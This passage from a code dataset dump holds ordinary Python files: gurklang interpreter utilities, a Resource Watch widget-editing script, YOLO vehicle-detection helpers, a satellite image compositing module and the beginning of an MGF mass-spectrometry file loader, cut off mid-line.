state.scopes[id]\n\n def make_scope_with_existing_state(self, id: int, state: State):\n scope = self.make_scope(id)\n return scope, state.set_scope(id, scope)\n\n\nModule = Union[BuiltinModule, GurklangModule]\n\n\ndef make_simple(name: Optional[str] = None):\n def inner(fn: Callable[[Z, Fail], Stack]) -> NativeFunction:\n def new_fn(state: State, fail: Fail):\n stack = fn(state.stack, fail)\n return state.with_stack(stack)\n new_fn.__name__ = fn.__name__\n return make_function(name)(new_fn)\n return inner\n\n\ndef make_function(name: Optional[str] = None):\n def inner(fn: Callable[[State, Fail], State]) -> NativeFunction:\n fn_name = name or fn.__name__.replace(\"_\", \"-\")\n def new_fn(state: State):\n local_fail: Fail = lambda reason: _fail(fn_name, reason, state.stack)\n try:\n return fn(state, local_fail)\n except Exception as e:\n local_fail(f\"uncaught exception {type(e).__name__}: {' '.join(map(str, e.args))}\")\n native_fn = NativeFunction(new_fn, fn_name)\n return native_fn\n return inner\n\n\ndef raw_function(*instructions: Instruction, name: str = \"<raw>\", source_code: Optional[str] = None):\n \"\"\"\n Create `Code` with no closure and flags set to PARENT_SCORE\n \"\"\"\n return Code(\n instructions,\n closure=None,\n flags=CodeFlags.PARENT_SCOPE,\n name=name,\n source_code=source_code\n )\n\n\n\ndef vec_to_stack(t: Value, fail: Fail) -> Stack:\n stack = None\n if t.tag != \"vec\":\n fail(f\"expected tuple, got {t}\")\n while True:\n if len(t.values) == 0:\n return stack\n if len(t.values) != 2:\n fail(f\"got tuple of size {len(t.values)} {vm_utils.stringify_value(t)}, expected 2\")\n head, rest = t.values\n if rest.tag != \"vec\":\n fail(f\"expected tuple as second element, got {rest}\")\n t = rest\n stack = (head, stack)\n\n\ndef stack_to_vec(stack: Stack) -> Vec:\n rv = Vec([])\n while stack is not None:\n head, stack = stack # type: ignore\n rv = Vec([head, rv])\n return rv\n", "repo_name": "gurkult/py-gurklang", "sub_path": "gurklang/builtin_utils.py", "file_name": "builtin_utils.py", "file_ext": "py", "file_size_in_byte": 4647, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TypeVar", "line_number": 12, "usage_type": "call"}, {"api_name": "types.Stack", "line_number": 12, "usage_type": "name"}, {"api_name": "types.Stack", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.NoReturn", "line_number": 22, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 28, "usage_type": "name"}, {"api_name": "types.Value", "line_number": 28, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.Sequence", "line_number": 31, "usage_type": "name"}, {"api_name": "types.Value", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 41, "usage_type": "name"}, {"api_name": "types.Stack", "line_number": 41, "usage_type": "name"}, {"api_name": "types.NativeFunction", "line_number": 41, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 48, "usage_type": "name"}, {"api_name": "types.State", "line_number": 48, "usage_type": "name"}, {"api_name": "types.NativeFunction", "line_number": 48, "usage_type": "name"}, {"api_name": "types.Scope", "line_number": 55, "usage_type": "call"}, {"api_name": "immutables.Map", "line_number": 55, "usage_type": "call"}, {"api_name": "types.State", "line_number": 57, "usage_type": "name"}, {"api_name": "types.Scope", "line_number": 59, "usage_type": "call"}, {"api_name": "immutables.Map", "line_number": 59, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 68, "usage_type": "name"}, {"api_name": "types.State.make", "line_number": 74, "usage_type": "call"}, {"api_name": "types.State", "line_number": 74, "usage_type": "name"}, {"api_name": "types.Code", "line_number": 78, "usage_type": "call"}, {"api_name": "types.CodeFlags.PARENT_SCOPE", "line_number": 81, "usage_type": "attribute"}, {"api_name": "types.CodeFlags", "line_number": 81, "usage_type": "name"}, {"api_name": "types.State", "line_number": 87, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 95, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 96, "usage_type": "name"}, {"api_name": "types.Stack", "line_number": 96, "usage_type": "name"}, {"api_name": "types.State", "line_number": 97, "usage_type": "name"}, {"api_name": "types.NativeFunction", "line_number": 96, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 105, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 106, "usage_type": "name"}, {"api_name": "types.State", "line_number": 106, "usage_type": "name"}, {"api_name": "types.State", "line_number": 108, "usage_type": "name"}, {"api_name": "types.NativeFunction", "line_number": 114, "usage_type": "call"}, {"api_name": "types.NativeFunction", "line_number": 106, "usage_type": "name"}, {"api_name": "types.Instruction", "line_number": 119, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 119, "usage_type": "name"}, {"api_name": "types.Code", "line_number": 123, "usage_type": "call"}, {"api_name": "types.CodeFlags.PARENT_SCOPE", "line_number": 126, "usage_type": "attribute"}, {"api_name": "types.CodeFlags", "line_number": 126, "usage_type": "name"}, {"api_name": "types.Value", "line_number": 133, "usage_type": "name"}, {"api_name": "types.Stack", "line_number": 133, "usage_type": "name"}, {"api_name": "types.Stack", "line_number": 149, "usage_type": "name"}, {"api_name": "types.Vec", "line_number": 150, "usage_type": "call"}, {"api_name": "types.Vec", "line_number": 153, "usage_type": "call"}, {"api_name": "types.Vec", "line_number": 149, "usage_type": "name"}]} {"seq_id": "28682091833", "text": "import os\nimport json\nimport requests\n\n# load the API token\nAPI_TOKEN = os.getenv('RW_API_KEY')\n\n# input dataset API ID of which you want to edit widget \ndataset_id = ''\n\n# the headers for all requests in this script \nheaders = {'Authorization': 'Bearer ' + API_TOKEN, 'Content-Type': 'application/json'}\n\n# input the API id of the widget you want to edit \nwidget_id = ''\n\n# include in the widget payload the fields you would like to edit \n'''\nfor example: \n widget_payload = {\"description\": 'this is for a test'}\n'''\nwidget_payload = {}\n\n# send the request to edit the widget on the API \ntry:\n url = f'https://api.resourcewatch.org/v1/dataset/{dataset_id}/widget/{widget_id}'\n r = requests.patch(url, data=json.dumps(widget_payload), headers=headers)\n print(r.json())\nexcept:\n print('Failed to edit a widget')\n print('Response from API request: {}'.format(r.content))", "repo_name": "resource-watch/data-team-tools", "sub_path": "advanced_widget_writer/advanced_chart_widget_edit.py", "file_name": "advanced_chart_widget_edit.py", "file_ext": "py", "file_size_in_byte": 886, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.getenv", "line_number": 6, "usage_type": "call"}, {"api_name": "requests.patch", "line_number": 27, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}]} {"seq_id": "30918240511", "text": "import numpy as np\nimport cv2\n\nYOLO_input_size = 448\nclasses = [\"aeroplane\", \"bicycle\", \"bird\", \"boat\", \"bottle\", \"bus\", \"car\", \"cat\", \"chair\",\n \"cow\", \"diningtable\", \"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\",\n \"sheep\", \"sofa\", \"train\",\"tvmonitor\"]\n \nclass Box:\n def __init__(self):\n self.x, self.y = float(), float()\n self.w, self.h = float(), float()\n self.c = float()\n self.prob = float()\n\ndef overlap(x1,w1,x2,w2):\n l1 = x1 - w1 / 2.;\n l2 = x2 - w2 / 2.;\n left = max(l1, l2)\n r1 = x1 + w1 / 2.;\n r2 = x2 + w2 / 2.;\n right = min(r1, r2)\n return right - left;\n\ndef box_intersection(a, b):\n w = overlap(a.x, a.w, b.x, b.w);\n h = overlap(a.y, a.h, b.y, b.h);\n if w < 0 or h < 0: return 0;\n area = w * h;\n return area;\n\ndef box_union(a, b):\n i = box_intersection(a, b);\n u = a.w * a.h + b.w * b.h - i;\n return u;\n\ndef box_iou(a, b):\n return box_intersection(a, b) / box_union(a, b);\n \ndef YoloOut2Boxes(net_out, threshold = 0.2, sqrt=1.8,C=20, B=2, S=7):\n class_vehicle = 6\n boxes = []\n SS = S * S # number of grid cells\n prob_size = SS * C # class probabilities\n conf_size = SS * B # confidences for each grid cell\n \n probs = net_out[0 : prob_size]\n confs = net_out[prob_size : (prob_size + conf_size)]\n cords = net_out[(prob_size + conf_size) : ]\n probs = probs.reshape([SS, C])\n confs = confs.reshape([SS, B])\n cords = cords.reshape([SS, B, 4])\n \n for grid in range(SS):\n for b in range(B):\n bx = Box()\n # Formally we define confidence as Pr(Object) * IOU(truth, predicted). \n # If no object exists in that cell, the confidence scores should be\n # zero. Otherwise we want the confidence score to equal the\n # intersection over union (IOU) between the predicted box \n # and the ground truth.\n bx.c = confs[grid, b]\n # The (x, y) coordinates represent the center of the box relative \n # to the bounds of the grid cell. \n bx.x = (cords[grid, b, 0] + grid % S) / S\n bx.y = (cords[grid, b, 1] + grid // S) / S\n # Sum-squared error also equally weights errors in large\n # boxes and small boxes. Our error metric should reflect that\n # small deviations in large boxes matter less than in small\n # boxes. To partially address this we predict the square root\n # of the bounding box width and height instead of the width\n # and height directly.\n bx.w = cords[grid, b, 2] ** sqrt \n bx.h = cords[grid, b, 3] ** sqrt\n # Pr(Class(i) | Object) *\u0003 Pr(Object) * IOU(truth, predicted) = Pr(Class(i)) *\u0003 IOU(truth, predicted)\n # for more details, see equation(1) in the paper <You Only Look Once: \n # Unified, Real-Time Object Detection>\n p = probs[grid, :] * bx.c\n \n \n if p[class_vehicle] >= threshold:\n bx.prob = p[class_vehicle]\n boxes.append(bx)\n \n # combine boxes that are overlap\n boxes.sort(key=lambda b:b.prob,reverse=True)\n for i in range(len(boxes)):\n boxi = boxes[i]\n if boxi.prob == 0: continue\n for j in range(i + 1, len(boxes)):\n boxj = boxes[j]\n if box_iou(boxi, boxj) >= .4:\n boxes[j].prob = 0.\n boxes = [b for b in boxes if b.prob > 0.]\n \n return boxes\n\ndef Boxes2BB(boxes, h, w):\n if len(boxes)==0:\n return \n \n bb_box = np.zeros(shape=[len(boxes), 5])\n for i, b in enumerate(boxes):\n left = int ((b.x - b.w/2.) * w)\n right = int ((b.x + b.w/2.) * w)\n top = int ((b.y - b.h/2.) * h)\n bot = int ((b.y + b.h/2.) * h)\n if left < 0 : left = 0\n if right > w - 1: right = w - 1\n if top < 0 : top = 0\n if bot > h - 1: bot = h - 1\n \n \n # left, right, top, bot = Square(left, right, top, bot, h, w)\n bb_box[i,0] = left\n bb_box[i,2] = right\n bb_box[i,1] = top\n bb_box[i,3] = bot\n bb_box[i,4] = b.prob\n return bb_box\n \n# enlarge each box to a squared shape\ndef Square(left, right, top, bot, max_h, max_w):\n w = right - left\n h = bot - top\n diff1 = np.abs((w-h)//2)\n diff2 = np.abs(w-h) - diff1\n left = left if w > h else left - diff1\n right = right if w > h else right + diff2\n top = top if h > w else top - diff1\n bot = bot if h > w else bot + diff2\n \n #check if box is off the margin\n \n if left < 0:\n margin = 0 - left\n left +=margin\n right += margin\n \n if right > max_w:\n margin = right - max_w\n left -= margin\n right -= margin\n \n if top < 0:\n margin = 0 - top\n top += margin\n bot += margin\n \n if bot > max_h:\n margin = bot - max_h\n top -= margin\n bot -= margin\n \n return left, right, top, bot\n \n# Crop the origin image so that the output is a square \ndef CropImage(image):\n assert len(image.shape)==3\n h, w, _ = image.shape\n diff1 = np.abs(w-h)//2\n diff2 = np.abs(w-h) - diff1\n\n w_begin = 0 if w < h else diff1\n w_end = w if w < h else w - diff2\n h_begin = 0 if h < w else diff1\n h_end = h if h < w else h - diff2\n \n image_cropped = image[h_begin:h_end, w_begin:w_end, :]\n offset_w = diff1 if w > h else 0\n offset_h = diff1 if h > w else 0\n return image_cropped, [offset_h, offset_w]\n\n# Enlarge the origin image so that the output is a square \ndef EnlargeImage(image):\n assert len(image.shape)==3\n h, w, _ = image.shape\n diff1 = np.abs(w-h)//2\n diff2 = np.abs(w-h) - diff1\n\n if h > w:\n first = np.zeros(shape=[h, diff1, 3], dtype=np.uint8)\n second = image\n third = np.zeros(shape=[h, diff2, 3], dtype=np.uint8)\n enlarged = np.concatenate([first, second, third], axis=1)\n \n elif w > h:\n first = np.zeros(shape=[diff1, w, 3], dtype=np.uint8)\n second = image\n third = np.zeros(shape=[diff2, w, 3], dtype=np.uint8)\n enlarged = np.concatenate([first, second, third], axis=0)\n else:\n enlarged = image\n \n\n offset_w = -diff1 if h > w else 0\n offset_h = -diff1 if w > h else 0\n return enlarged, [offset_h, offset_w]\n \n# Resize the image so that it fits the network inputs\n# it is assumed that the input image is a square image\ndef ResizeImage(image, size_target=YOLO_input_size):\n assert len(image.shape)==3\n assert image.shape[0] == image.shape[1]\n size_origin = image.shape[0]\n ratio = size_origin/size_target\n image_resized = cv2.resize(image,(size_target,size_target))\n return image_resized, ratio\n \ndef DetectVehicle(image, model, threshold=0.17):\n # image_squared, [offset_h, offset_w] = EnlargeImage(image)\n image_squared, [offset_h, offset_w] = CropImage(image)\n image_resized, ratio = ResizeImage(image_squared)\n batch = np.transpose(image_resized,(2,0,1))\n batch = 2*(batch/255.) - 1\n batch = np.expand_dims(batch, axis=0)\n out = model.predict(batch)\n boxes = YoloOut2Boxes(out[0], threshold = threshold)\n \n if len(boxes)==0:\n return\n \n bb = Boxes2BB(boxes, YOLO_input_size, YOLO_input_size)\n # cordinates of bb is based on resized image of shape(448,448)\n # need to convert the cordinates so that it is based on original image\n bb[:,:-1] *= ratio\n bb[:,[0, 2]] += offset_w\n bb[:,[1, 3]] += offset_h\n\n for i in range(bb.shape[0]):\n left, right, top, bot = Square(bb[i,0], bb[i,2], bb[i,1], bb[i,3], image.shape[0], image.shape[1])\n bb[i,0] = left\n bb[i,2] = right\n bb[i,1] = top\n bb[i,3] = bot\n return bb\n \n\n# if __name__=='__main__':\ndef Test():\n from model import GetModel\n from os.path import join\n import matplotlib.pyplot as plt\n \n model = GetModel()\n root = 'E:\\\\DM\\\\Udacity\\\\Public Security\\\\TieLing_tmp'\n name = '701214002172473803010830164_铁岭良工阀门门口北向南（铁抚街）.2018-02-12 133228.-.X99.Z.99.4.33.jpg'\n imagePath = join(root, name)\n image = plt.imread(imagePath)\n bb = DetectVehicle(image, model)\n bb = bb[0].astype(np.int)\n cropped = image[bb[1]:bb[3],bb[0]:bb[2],:]\n f,(ax1,ax2) = plt.subplots(1,2,figsize=(16,6))\n ax1.imshow(image)\n ax2.imshow(cropped)\n \n\n \n\n", "repo_name": "Ao-Lee/Vehicle-Verification", "sub_path": "AlignDataBase/align/base/detect.py", "file_name": "detect.py", "file_ext": "py", "file_size_in_byte": 8547, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.zeros", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 127, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 179, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 182, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 184, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 185, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 188, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 190, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 191, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 214, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 216, "usage_type": "call"}, {"api_name": "model.GetModel", "line_number": 245, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 249, "usage_type": "name"}, {"api_name": "numpy.int", "line_number": 251, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}]} {"seq_id": "41276948907", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Author(s):\n\n# Christian Kliche <chk@ebp.de>\n# Panu Lahtinen <panu.lahtinen@fmi.fi>\n\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see <http://www.gnu.org/licenses/>.\n\n'''This module defines functions to create images out of dataset messages\n'''\nfrom urlparse import urlparse\nfrom functools import partial\nimport logging\nimport numpy as np\nimport scipy.ndimage as ndi\nfrom fnmatch import fnmatch\nfrom mpop.projector import get_area_def\nfrom pyresample.geometry import AreaDefinition\nfrom dwd_extensions.tools.image_io import read_image\nfrom datetime import datetime\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef create_world_composite(msg, proc_func_params):\n \"\"\"\n Creates a world composite images out of an dataset message\n \"\"\"\n items = []\n for elem in msg.data['dataset']:\n url = urlparse(elem['uri'])\n if url.netloc != '':\n LOGGER.error('uri not supported: %s',\n format(elem['uri']))\n return None\n\n area = get_area_def(msg.data['area']['name'])\n t_gatherer = msg.data['gatherer_time']\n if not isinstance(t_gatherer, datetime):\n try:\n t_gatherer = datetime.strptime(\n t_gatherer, '%Y%m%d%H%M%S')\n except:\n t_gatherer = None\n items.append((url.path, area, t_gatherer))\n\n lon_limits = {}\n erosion_size = None\n smooth_width = None\n\n if proc_func_params:\n # order images\n if 'order' in proc_func_params:\n order_list = proc_func_params['order'].split('|')\n sort_key = partial(_match_order_index, order_list)\n items = sorted(items, key=sort_key, reverse=True)\n\n if 'lon_limits' in proc_func_params:\n sat_lon_list = proc_func_params['lon_limits'].split('|')\n for sat_lon in sat_lon_list:\n sat, min_lon, max_lon = sat_lon.split(',')\n lon_limits[sat] = (float(min_lon), float(max_lon))\n\n if 'erosion_size' in proc_func_params:\n erosion_size = float(proc_func_params['erosion_size'])\n\n if 'smooth_width' in proc_func_params:\n smooth_width = float(proc_func_params['smooth_width'])\n\n return _create_world_composite(items, lon_limits=lon_limits,\n erosion_size=erosion_size,\n smooth_width=smooth_width)\n\n\ndef _match_order_index(order_list, item):\n for idx, pattern in enumerate(order_list):\n if fnmatch(item[0], pattern):\n return idx\n return len(order_list)\n\n\ndef _create_world_composite(items, lon_limits=None,\n erosion_size=20,\n smooth_width=20):\n # smooth_sigma = 4\n\n img = None\n for (path, area, timeslot) in items:\n\n if not isinstance(area, AreaDefinition):\n area = get_area_def(area)\n\n next_img = read_image(path, area, timeslot)\n\n if img is None:\n img = next_img\n else:\n # scaled_smooth_sigma = smooth_sigma * (float(img.width) / 1000.0)\n\n img_mask = reduce(np.ma.mask_or,\n [chn.mask for chn in img.channels])\n next_img_mask = reduce(np.ma.mask_or,\n [chn.mask for chn in next_img.channels])\n\n # Mask overlapping areas away\n if lon_limits:\n for sat in lon_limits:\n if sat in path:\n mask_limits = calc_pixel_mask_limits(area,\n lon_limits[sat])\n for lim in mask_limits:\n next_img_mask[:, lim[0]:lim[1]] = 1\n break\n\n alpha = np.ones(next_img_mask.shape, dtype='float')\n alpha[next_img_mask] = 0.0\n\n if erosion_size is not None and smooth_width is not None:\n scaled_erosion_size = erosion_size * (float(img.width) /\n 1000.0)\n scaled_smooth_width = smooth_width * (float(img.width) /\n 1000.0)\n\n # smooth_alpha = ndi.gaussian_filter(\n # ndi.grey_erosion(alpha, size=(scaled_erosion_size,\n # scaled_erosion_size)),\n # scaled_smooth_sigma)\n smooth_alpha = ndi.uniform_filter(\n ndi.grey_erosion(alpha, size=(scaled_erosion_size,\n scaled_erosion_size)),\n scaled_smooth_width)\n smooth_alpha[img_mask] = alpha[img_mask]\n else:\n smooth_alpha = alpha\n\n for i in range(0, min(len(img.channels), len(next_img.channels))):\n chdata = next_img.channels[i].data * smooth_alpha + \\\n img.channels[i].data * (1 - smooth_alpha)\n chmask = np.logical_and(img_mask, next_img_mask)\n img.channels[i] = \\\n np.ma.masked_where(chmask, chdata)\n\n return img\n\n\ndef calc_pixel_mask_limits(adef, lon_limits):\n \"\"\"Calculate pixel intervals from longitude ranges.\"\"\"\n # We'll assume global grid from -180 to 180 longitudes\n scale = 360. / adef.shape[1] # degrees per pixel\n\n left_limit = int((lon_limits[0] + 180) / scale)\n right_limit = int((lon_limits[1] + 180) / scale)\n\n # Satellite data spans 180th meridian\n if right_limit < left_limit:\n return [[right_limit, left_limit]]\n else:\n return [[0, left_limit], [right_limit, adef.shape[1]]]\n", "repo_name": "khunger/dwd_extensions", "sub_path": "dwd_extensions/tools/dataset_processors.py", "file_name": "dataset_processors.py", "file_ext": "py", "file_size_in_byte": 6295, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logging.getLogger", "line_number": 35, "usage_type": "call"}, {"api_name": "urlparse.urlparse", "line_number": 44, "usage_type": "call"}, {"api_name": "mpop.projector.get_area_def", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 52, "usage_type": "argument"}, {"api_name": "datetime.datetime.strptime", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 68, "usage_type": "call"}, {"api_name": "fnmatch.fnmatch", "line_number": 90, "usage_type": "call"}, {"api_name": "pyresample.geometry.AreaDefinition", "line_number": 103, "usage_type": "argument"}, {"api_name": "mpop.projector.get_area_def", "line_number": 104, "usage_type": "call"}, {"api_name": "dwd_extensions.tools.image_io.read_image", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 113, "usage_type": "attribute"}, {"api_name": "numpy.ma", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 128, "usage_type": "call"}, {"api_name": "scipy.ndimage.uniform_filter", "line_number": 141, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 141, "usage_type": "name"}, {"api_name": "scipy.ndimage.grey_erosion", "line_number": 142, "usage_type": "call"}, {"api_name": "scipy.ndimage", "line_number": 142, "usage_type": "name"}, {"api_name": "numpy.logical_and", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.ma.masked_where", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.ma", "line_number": 154, "usage_type": "attribute"}]} {"seq_id": "34969278289", "text": "\"\"\"\nMGF is a simple human-readable format for MS/MS data. It\nallows storing MS/MS peak lists and exprimental parameters.\n\nThis module provides :class:`MGFLoader`, a :class:`~.RandomAccessScanSource`\nimplementation.\n\nThe parser is based on :mod:`pyteomics.mgf`.\n\"\"\"\n\nimport os\nfrom pyteomics import mgf\nfrom pyteomics.auxiliary import OffsetIndex\nimport numpy as np\n\nfrom six import string_types as basestring\n\nfrom .scan import (\n ScanFileMetadataBase, RandomAccessScanSource, ScanDataSource,\n PrecursorInformation, _FakeGroupedScanIteratorImpl,\n ChargeNotProvided, Scan)\n\nfrom .metadata.file_information import (\n FileInformation, MS_MSn_Spectrum)\n\nfrom ._compression import test_if_file_has_fast_random_access\n\n\nclass _MGFParser(mgf.IndexedMGF):\n\n def parse_charge(self, charge_text, list_only=False):\n \"\"\"\n Pyteomics _parse_charge is very general-purpose, and\n can't be sped up, so we specialize it here.\n \"\"\"\n try:\n if not list_only:\n return int(charge_text.replace('+', ''))\n return list(map(self.parse_charge, charge_text.split(\" \")))\n except Exception:\n if '-' in charge_text:\n return int(charge_text.replace(\"-\", '')) * -1\n raise\n\n def parse_peak_charge(self, charge_text, list_only=False):\n return self.parse_charge(charge_text, list_only=list_only)\n\n\nclass _MGFMetadata(ScanFileMetadataBase):\n \"\"\"\n Objects implementing this interface can describe the original source\n files, instrument configuration, and data processing parameters used to\n create the current spectral data file.\n\n Patterned after the provenance features of mzML that could also be mapped\n onto mzXML and other complete vendor readers.\n \"\"\"\n\n def file_description(self):\n \"\"\"\n Describe the file and its components, as well\n as any content types it has.\n\n Returns\n -------\n :class:`~.FileInformation`\n \"\"\"\n finfo = FileInformation()\n finfo.add_content(\"centroid spectrum\")\n finfo.add_content(MS_MSn_Spectrum)\n if isinstance(self.source_file, (basestring, os.PathLike)):\n finfo.add_file(self.source_file)\n elif hasattr(self.source_file, 'name'):\n finfo.add_file(self.source_file.name)\n return finfo\n\n def instrument_configuration(self):\n \"\"\"\n Describe the different instrument components and configurations used\n to acquire scans in this run.\n\n Returns\n -------\n :class:`list` of :class:`~.InstrumentInformation`\n \"\"\"\n return super(_MGFMetadata, self).instrument_configuration()\n\n def data_processing(self):\n \"\"\"\n Describe any preprocessing steps applied to the data described by this\n instance.\n\n Returns\n -------\n :class:`list` of :class:`~.DataProcessingInformation`\n \"\"\"\n return super(_MGFMetadata, self).data_processing()\n\n\nclass MGFInterface(ScanDataSource):\n \"\"\"\n Provides a basic set of widely used MASCOT Generic File (MGF)\n data accessor mechanisms. Because MGF files lack any form of standardization,\n no strong guarantees of correctness can be made.\n\n This dialect does not know how to use the charge column of the peak data\n section, see :class:`~.ProcessedMGFLoader`.\n \"\"\"\n\n def _scan_arrays(self, scan):\n \"\"\"\n Returns raw data arrays for m/z and intensity\n\n Parameters\n ----------\n scan : Mapping\n The underlying scan information storage,\n usually a `dict`\n\n Returns\n -------\n mz: np.array\n An array of m/z values for this scan\n intensity: np.array\n An array of intensity values for this scan\n \"\"\"\n try:\n return scan['m/z array'], scan[\"intensity array\"]\n except KeyError:\n return np.array([]), np.array([])\n\n def _ms_level(self, scan):\n return 2\n\n def _scan_title(self, scan):\n \"\"\"\n Returns a verbose name for this scan, if one\n were stored in the file. Usually includes both the\n scan's id string, as well as information about the\n original file and format.\n\n Parameters\n ----------\n scan : Mapping\n The underlying scan information storage,\n usually a `dict`\n\n Returns\n -------\n str\n \"\"\"\n return scan['params'][\"title\"].strip('.')\n\n def _scan_id(self, scan):\n \"\"\"\n Returns the scan's id string, a unique\n identifier for this scan in the context of\n the data file it is recordered in\n\n Parameters\n ----------\n scan : Mapping\n The underlying scan information storage,\n usually a `dict`\n\n Returns\n -------\n str\n \"\"\"\n return scan['params'][\"title\"].strip('.')\n\n def _scan_time(self, scan):\n try:\n return float(scan['params']['rtinseconds']) / 60.0\n except KeyError:\n return -1\n\n def _is_profile(self, scan):\n return False\n\n def _precursor_information(self, scan):\n mz, intensity = scan['params']['pepmass']\n charge = scan['params'].get('charge', [ChargeNotProvided])[0]\n pinfo = PrecursorInformation(\n mz, intensity, charge, source=self,\n product_scan_id=self._scan_id(scan),\n defaulted=True, orphan=True)\n return pinfo\n\n def _polarity(self, scan):\n pinfo = self._precursor_information(scan)\n if pinfo is not None:\n if pinfo.charge:\n if pinfo.charge == ChargeNotProvided or pinfo.charge > 0:\n return 1\n return -1\n return 1\n return 1\n\n def _activation(self, scan):\n return None\n\n def _scan_index(self, scan):\n \"\"\"\n Returns the base 0 offset from the start\n of the data file in number of scans to reach\n this scan.\n\n If the original format does not natively include\n an index value, this value may be computed from\n the byte offset index.\n\n Parameters\n ----------\n scan : Mapping\n The underlying scan information storage,\n usually a `dict`\n\n Returns\n -------\n int\n \"\"\"\n try:\n return self._title_to_index[self._scan_title(scan)]\n except KeyError:\n try:\n return self._title_to_index[self._scan_title(scan) + '.']\n except KeyError:\n return -1\n return -1\n\n def _annotations(self, scan):\n annots = dict()\n params = scan['params']\n for key, value in params.items():\n if key in (\"pepmass\", \"charge\", \"title\", \"rtinseconds\"):\n continue\n else:\n try:\n if value[0].isdigit():\n value = float(value)\n elif value == 'None':\n value = None\n except ValueError:\n if value == 'None':\n value = None\n annots[key] = value\n return annots\n\n\nclass MGFLoader(MGFInterface, RandomAccessScanSource[dict, Scan], _MGFMetadata):\n \"\"\"\n Reads scans from MASCOT Generic File (MGF) Format files. Provides both iterative\n and random access.\n\n .. note::\n If the file is not sorted by retention time, :meth:`get_scan_by_time` and any\n other time-based accessors will fail.\n\n Attributes\n ----------\n source_file: str\n Path to file to read from.\n source: pyteomics.mgf.MGFBase\n Underlying scan data source\n header: dict\n Any top-of-the-file parameters\n \"\"\"\n\n def __init__(self, source_file, encoding='utf-8', use_index=True, **kwargs):\n self.source_file = source_file\n self.encoding = encoding\n self._use_index = use_index\n self._source = self._create_parser()\n self.initialize_scan_cache()\n self.make_iterator()\n self._title_to_index = self._prepare_index_lookup()\n\n @property\n def has_fast_random_access(self):\n return test_if_file_has_fast_random_access(self.source.file)\n\n def _prepare_index_lookup(self):\n title_to_index = dict()\n for i, key in enumerate(self.index):\n title_to_index[key] = i\n return title_to_index\n\n @property\n def header(self):\n \"\"\"\n Any top-of-the-file parameters\n\n Returns\n -------\n dict\n \"\"\"\n return self._source.header\n\n def __reduce__(self):\n return self.__class__, (self.source_file, self.encoding, self._use_index, 